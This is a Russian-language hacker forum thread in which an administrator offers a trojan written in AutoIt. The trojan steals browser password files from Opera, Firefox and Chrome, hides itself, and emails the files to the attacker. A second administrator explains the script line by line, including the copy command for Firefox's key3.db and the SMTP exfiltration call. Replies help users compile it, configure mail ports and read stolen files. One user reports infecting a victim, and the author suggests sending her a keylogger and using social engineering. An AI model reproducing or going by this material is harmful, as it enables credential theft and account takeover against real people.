Троян password!!!

Поделиться12011-08-03 03:29:17

Автор: Lyubitel
Администратор
Откуда: ПЕНТАГОН
Зарегистрирован: 2011-07-12
Приглашений: 2
Сообщений: 821
Уважение: [+15/-0]
Пол: Мужской
Провел на форуме:
21 день 9 часов
Последний визит:
2014-07-08 23:59:21

Доброго времени суток!!!

Этот трой который ворует файлы с паролями от браузеров как Opera , Mozilla Firefox и Google Chrome !!!

Я написал этот трой на языке AutoIt так что топаем в википедию и

Читаем|Закрываем

AutoIt — свободно распространяемый язык для автоматизации выполнения задач в Microsoft Windows. В ранних версиях программа преимущественно использовалась для создания скриптов автоматизации (иногда называемых макросами) для программ Microsoft Windows. Такие скрипты полезны для выполнения часто повторяющихся задач, таких как инсталляция идентичных наборов программ на большое количество компьютеров. В более поздних версиях AutoIt улучшился дизайн языка и возросла общая функциональность, что приблизило AutoIt к языкам общего назначения.

С выходом AutoIt 3 синтаксис языка был реструктурирован и приблизился к семейству BASIC. Скрипт может быть скомпилирован в независимый от установленного в системе интерпретатора исполняемый файл.

Скажу что не надо создавать никаких самораспаков и добавлять программу Blat для отсылки логов! все делается одним кликом так сказать!!! Вам для этого нужно скачать пакет Autoit-v3 и установить на вашей тачке для того чтоб смогли скапилировать в exe!!! ниже я объясню как это делается!

И так сам исходник!!!

Где вводить логин и пасс я отметил красным! если кого то интересует более подробное описание исходника то могу расписать!

И так устанавливаем Autoit-v3 и у нас в проводнике в пункте создать появится строка Autoit-v3 Script

Кликаем на него и создаем файл и открываем его (правый клик Edit Script) и вставляем туда наш исходник и вписываем логин и пасс от мыло и закрываем!!! Потом так же держим на него и правый клик "Compile Script"!!!

Все наш трой готов! (367kb)

После запуска он сам на себя ставит приоритеты то есть грубо говоря исчезает!

Трой будет полезным для тех кто ленится делать самараспаки или вообще не может их делать!

Пока что все

+2

Поделиться22011-08-10 19:25:35

Автор: INtello
Пришедший
Зарегистрирован: 2011-08-10
Приглашений: 0
Сообщений: 8
Уважение: [+0/-0]
Провел на форуме:
10 часов 38 минут
Последний визит:
2012-03-10 20:50:00

Доброго времени суток!

Спасибо, Lyubitel за пост.

Вот только пару вопросов есть к тебе.

1. Скомпилировал все как надо, пришли письма на ящик signons.sqlite, key3.db: Вопрос в следующем чем открыть их? Пробывал открывать в блокноте, показывает только дату отправки письма. Пассов нет.
2.

если кого то интересует более подробное описание исходника то могу расписать!

Если не сложно, хотелось бы разобраться.

Сори если глупые вопросы. Только познаю еще )

Спасибо!

0

Поделиться32011-08-10 19:40:12

Автор: invulnerable
Пришедший
Зарегистрирован: 2011-08-05
Приглашений: 0
Сообщений: 3
Уважение: [+0/-0]
Провел на форуме:
16 часов 15 минут
Последний визит:
2011-08-26 09:24:36

INtello
замени их на свой

0

Поделиться42011-08-10 19:49:06

Автор: MOssWar
Администратор
Откуда: Wonderland
Зарегистрирован: 2011-07-06
Приглашений: 0
Сообщений: 1264
Уважение: [+32/-2]
Пол: Мужской
Провел на форуме:
1 месяц 4 дня
Последний визит:
2014-10-20 00:18:26

INtello замени эти файлы на свои и будет тебе счастье,в смысле прочитать их сможешь уже в браузере,(через показать сохранённые пароли) если я не ошибаюсь то в этом видео( Самый простой Batch вирус ворующий файлы с паролями. ) это продемонстрировано.Распишет автор,хотя там и расписывать не чего))
Скачай справочник и полистай функции которые употребляются в скрипте,так тебе станет более понятней как это работает,да и в дальнейшем всё придётся столкнуться с справочником.

в кратце всё же:

FileSetAttrib ( @ScriptName, "+SRAH") - скрипт ставит сам на себя скрытые атрибуты(хз зачем всё и сразу,можно обойтись и двумя значениями AH )
DirCreate(@ScriptDir & "\winsc" ) - создаёт возле себя папку winsc в которую в принципе в дальнейшем и будет копировать всё файлы перед отправкой.
FileSetAttrib ( @ScriptDir & "\winsc" , "+SRAH") - ставит атрибуты на созданную папку
Sleep(1000) - пауза перед последующим выполнением скрипта,ток хз зачем здесь и на столько))
_RunDOS ( "copy /y %AppData%\Mozilla\Firefox\Profiles\*.default\key3.db \winsc" ) _RunDOS - это команда для выполнения команд встроенной Windows'oi командной строки(CMD),copy - это команда КМД копировать,подробней о ней можешь узнать в своей командной строке или же здесь.
Sleep(1000) - опять пауза
$AttachFiles = @ScriptDir & "\winsc\key3.db" - приатачивания скопированного файла к телу письма
$FromName = "Mozilla (key3.db)" - задаёт имя письма(типа от кого: Вася Пупкин)
_FileWriteLog($AttachFiles,$sFile) - пишет в лог(опять зачем хз))
_INetSmtpMailCom($SmtpServer,$FromName,$FromAddress,$ToAddress,$Subject,$sText,$AttachFiles,$CcAddress,$BccAddress,$Importance,$Username,$Password,$IPPort,$ssl) - отправляет письмо,через функцию отсылки (Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", )
Sleep(1000)

Ну и дальше в том же духе,до Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", - это начало функции отправки на мыло письма.
Дальше я так думаю пусть распишет сам автор.

0

Поделиться52011-08-11 02:14:44

Автор: Lyubitel
Администратор
Откуда: ПЕНТАГОН
Зарегистрирован: 2011-07-12
Приглашений: 2
Сообщений: 821
Уважение: [+15/-0]
Пол: Мужской
Провел на форуме:
21 день 9 часов
Последний визит:
2014-07-08 23:59:21

MOssWar написал(а):

Sleep(1000) - пауза перед последующим выполнением скрипта,ток хз зачем здесь и на столько))

Я тока присмотрелся там я забыл удалить много sleep)))))

MOssWar написал(а):

хз зачем всё и сразу,можно обойтись и двумя значениями AH

Кое кто мне сам говорил что лучше все сразу)))))))

MOssWar написал(а):

_FileWriteLog($AttachFiles,$sFile) - пишет в лог(опять зачем хз))

без этого сцука не отправит файл))))

INtello Я немного расписал возьми справочник так будет тебе понятнее :rolleyes:

0

Поделиться62011-08-11 06:33:07

Автор: MOssWar
Администратор
Откуда: Wonderland
Зарегистрирован: 2011-07-06
Приглашений: 0
Сообщений: 1264
Уважение: [+32/-2]
Пол: Мужской
Провел на форуме:
1 месяц 4 дня
Последний визит:
2014-10-20 00:18:26

Lyubitel может модифицируем его?

0

Поделиться72011-08-11 12:45:27

Автор: Lyubitel
Администратор
Откуда: ПЕНТАГОН
Зарегистрирован: 2011-07-12
Приглашений: 2
Сообщений: 821
Уважение: [+15/-0]
Пол: Мужской
Провел на форуме:
21 день 9 часов
Последний визит:
2014-07-08 23:59:21

MOssWar написал(а):

Lyubitel может модифицируем его?

Я за)) какие предложение?))

0

Поделиться82011-08-11 15:39:35

Автор: MOssWar
Администратор
Откуда: Wonderland
Зарегистрирован: 2011-07-06
Приглашений: 0
Сообщений: 1264
Уважение: [+32/-2]
Пол: Мужской
Провел на форуме:
1 месяц 4 дня
Последний визит:
2014-10-20 00:18:26

Lyubitel да хз,честно говоря))
ну первое что надо сделать,эт припаять самоудаление,второе наверное вообще писать через поиск.
Хз честно говоря сейчас не очень как то в голову идеи прут,после подумаю.

0

Поделиться92011-08-28 15:20:15

Автор: Almaz88
Пользователь
Зарегистрирован: 2011-08-16
Приглашений: 0
Сообщений: 14
Уважение: [+0/-0]
Провел на форуме:
13 часов 16 минут
Последний визит:
2011-12-14 22:45:58

почему пороли от мозиллы не приходят сколько раз отправлял не разу не пришло даже себе отправил всеравно пусто? от оперы приходят норм все от гугл хрома приходят только почему то их нельзя простмотреть только показывает логины а пассов нету

0

Поделиться102011-08-28 15:40:37

Автор: Lyubitel
Администратор
Откуда: ПЕНТАГОН
Зарегистрирован: 2011-07-12
Приглашений: 2
Сообщений: 821
Уважение: [+15/-0]
Пол: Мужской
Провел на форуме:
21 день 9 часов
Последний визит:
2014-07-08 23:59:21

Almaz88 хз че за у тя трабла.. вечером немного на радминах тестану! но у меня работает! ну если мпр говорит что нет пассов значит нет или не может расшифровать)

0

Поделиться112011-08-28 15:46:55

Автор: MOssWar
Администратор
Откуда: Wonderland
Зарегистрирован: 2011-07-06
Приглашений: 0
Сообщений: 1264
Уважение: [+32/-2]
Пол: Мужской
Провел на форуме:
1 месяц 4 дня
Последний визит:
2014-10-20 00:18:26

Lyubitel скорей всего MPR не тянет,тупа сдулся))
Нужно уже дуриге проги юзать и соответственно переписывать вирусы.
Ну эт вирус ещё актуален,правда не для всех версий браузеров,да и мозила вроде обновилась,вместе с обновлениями и изменения.
Надо будет писать вирь на перехват запросов.

+1

Поделиться122011-08-28 16:51:11

Автор: Lyubitel
Администратор
Откуда: ПЕНТАГОН
Зарегистрирован: 2011-07-12
Приглашений: 2
Сообщений: 821
Уважение: [+15/-0]
Пол: Мужской
Провел на форуме:
21 день 9 часов
Последний визит:
2014-07-08 23:59:21

MOssWar моя мозила тоже обновилось но все пашет)) мля честно я некогда его не использовал для кражи паролей мне это не надо)))) я добрый
вот только что тестанул все пашет!

0

Поделиться132011-08-28 19:09:37

Автор: MOssWar
Администратор
Откуда: Wonderland
Зарегистрирован: 2011-07-06
Приглашений: 0
Сообщений: 1264
Уважение: [+32/-2]
Пол: Мужской
Провел на форуме:
1 месяц 4 дня
Последний визит:
2014-10-20 00:18:26

Lyubitel честно говоря большинство тех вирусов которые я сделал или написал,тоже сцук сам толкам и не юзал)))
Так чисто проверил на работоспособность и отправил по пункут назначению))
Не ну была тема когда так чисто раскидывал и то для теста,как бы сказать нужно было знать работоспособность в стате.
Правда и чужие вири не использовал,ибо своих уже наляпал,заюзаться можно))

0

Поделиться142011-09-01 23:24:29

Автор: zet-22
Пришедший
Зарегистрирован: 2011-09-01
Приглашений: 0
Сообщений: 5
Уважение: [+0/-0]
Провел на форуме:
1 час 54 минуты
Последний визит:
2011-11-02 23:16:44

тольео Яндекс почта??? Или не имеет значения?

0

Поделиться152011-09-01 23:33:44

Автор: Lyubitel
Администратор
Откуда: ПЕНТАГОН
Зарегистрирован: 2011-07-12
Приглашений: 2
Сообщений: 821
Уважение: [+15/-0]
Пол: Мужской
Провел на форуме:
21 день 9 часов
Последний визит:
2014-07-08 23:59:21

zet-22 не имеет значения.. можешь например и на mail.ru и на gmail (для gmail нужно поставить порт 465)

0

Поделиться162011-09-01 23:38:15

Автор: zet-22
Пришедший
Зарегистрирован: 2011-09-01
Приглашений: 0
Сообщений: 5
Уважение: [+0/-0]
Провел на форуме:
1 час 54 минуты
Последний визит:
2011-11-02 23:16:44

Уменя ошибка после запуска!! что делать?

0

Поделиться172011-09-01 23:42:23

Автор: Lyubitel
Администратор
Откуда: ПЕНТАГОН
Зарегистрирован: 2011-07-12
Приглашений: 2
Сообщений: 821
Уважение: [+15/-0]
Пол: Мужской
Провел на форуме:
21 день 9 часов
Последний визит:
2014-07-08 23:59:21

zet-22 сделай скрин или опиши какая ошибка здесь экстрасенсов нет

0

Поделиться182011-09-01 23:59:45

Автор: zet-22
Пришедший
Зарегистрирован: 2011-09-01
Приглашений: 0
Сообщений: 5
Уважение: [+0/-0]
Провел на форуме:
1 час 54 минуты
Последний визит:
2011-11-02 23:16:44

Вот

[mods]Что вот? [/mods]

0

Поделиться192011-09-02 00:13:15

Автор: zet-22
Пришедший
Зарегистрирован: 2011-09-01
Приглашений: 0
Сообщений: 5
Уважение: [+0/-0]
Провел на форуме:
1 час 54 минуты
Последний визит:
2011-11-02 23:16:44

0

Поделиться202011-09-02 00:59:43

Автор: Lyubitel
Администратор
Откуда: ПЕНТАГОН
Зарегистрирован: 2011-07-12
Приглашений: 2
Сообщений: 821
Уважение: [+15/-0]
Пол: Мужской
Провел на форуме:
21 день 9 часов
Последний визит:
2014-07-08 23:59:21

zet-22 ну тут думаю ошибка не в скрипте.. по ходу у тя автоит криво сел... переустанови его если не поможет попробуй собрать его на вирт машине или на другом тачке..

_______________________________________________________________________________

Да и скрины нужно выложить или через форум или например pixs.ru! а не какой то zalil

0

Поделиться212011-09-07 15:32:04

Автор: Влад
Заблокирован
Зарегистрирован: 2011-09-06
Приглашений: 0
Сообщений: 1
Уважение: [+0/-1]
Провел на форуме:
14 часов 12 минут
Последний визит:
2011-11-25 15:04:25

Всем прив!! Помогите я всё зделал всё норм! Но вот только незнаю куда кидать файл который пришол на мыло например от оперы cookies4.dat Подскажите путь пожал!!!

0

Поделиться222011-09-07 15:56:33

Автор: MOssWar
Администратор
Откуда: Wonderland
Зарегистрирован: 2011-07-06
Приглашений: 0
Сообщений: 1264
Уважение: [+32/-2]
Пол: Мужской
Провел на форуме:
1 месяц 4 дня
Последний визит:
2014-10-20 00:18:26

%AppData%\Opera\Opera\cookies4.dat путь до файла,но в самом файле хранятся только Coocie( Wiki )
Пароли же хранятся в Wand.dat - от опера до 11* версий,если софт обнавлён то в нём не будет ни чего ровным счётом(((
Где в новой версии хранятся пасы,или как извлечь пасы с оперы 11* версий пока что ещё не разбирался,да и не гуглил даже в этом направление,так что тут только если софт не обновлён.
____________

0

Поделиться232011-09-07 16:05:02

Автор: Влад
Заблокирован
Зарегистрирован: 2011-09-06
Приглашений: 0
Сообщений: 1
Уважение: [+0/-1]
Провел на форуме:
14 часов 12 минут
Последний визит:
2011-11-25 15:04:25

Спосибо!! Щя буду пробывать!

0

Поделиться242011-09-07 16:15:25

Автор: Влад
Заблокирован
Зарегистрирован: 2011-09-06
Приглашений: 0
Сообщений: 1
Уважение: [+0/-1]
Провел на форуме:
14 часов 12 минут
Последний визит:
2011-11-25 15:04:25

Блин немогу понять!! Есит такая папка Application Data но такой %AppData% нет! А втой папке нету Оперы ток експролер !! Есть проста папка Cookies !! Раскажи всё по порядку а то я не вьеду! Сори за много вопросов! Я тока учюсь! =)

0

Поделиться252011-09-07 19:36:29

Автор: Влад
Заблокирован
Зарегистрирован: 2011-09-06
Приглашений: 0
Сообщений: 1
Уважение: [+0/-1]
Провел на форуме:
14 часов 12 минут
Последний визит:
2011-11-25 15:04:25

Всё!! Я всё разобрался! Спосибо всем! Класный сайт!

0

Поделиться262011-09-07 19:55:10

Автор: Влад
Заблокирован
Зарегистрирован: 2011-09-06
Приглашений: 0
Сообщений: 1
Уважение: [+0/-1]
Провел на форуме:
14 часов 12 минут
Последний визит:
2011-11-25 15:04:25

Помогите! Я всё зделал дал вирус жертве она запустила! Мне всё пришло я заменил файлы на свои! И когда ввожу например вконтакте оно не заходит на её страницу!! Ни через мозилу ни через оперу! Подскажите что нить плиз!

0

Поделиться272011-09-07 22:09:48

Автор: Lyubitel
Администратор
Откуда: ПЕНТАГОН
Зарегистрирован: 2011-07-12
Приглашений: 2
Сообщений: 821
Уважение: [+15/-0]
Пол: Мужской
Провел на форуме:
21 день 9 часов
Последний визит:
2014-07-08 23:59:21

Влад Значит что она не сохраняла пароли(( попробуй развести на фейк или хер с фейком у тя вроде есть контакт с жертвой пошли ей кеилогер ну или радмина! вобшем не огорчайся тут вопрос времени + навыки СИ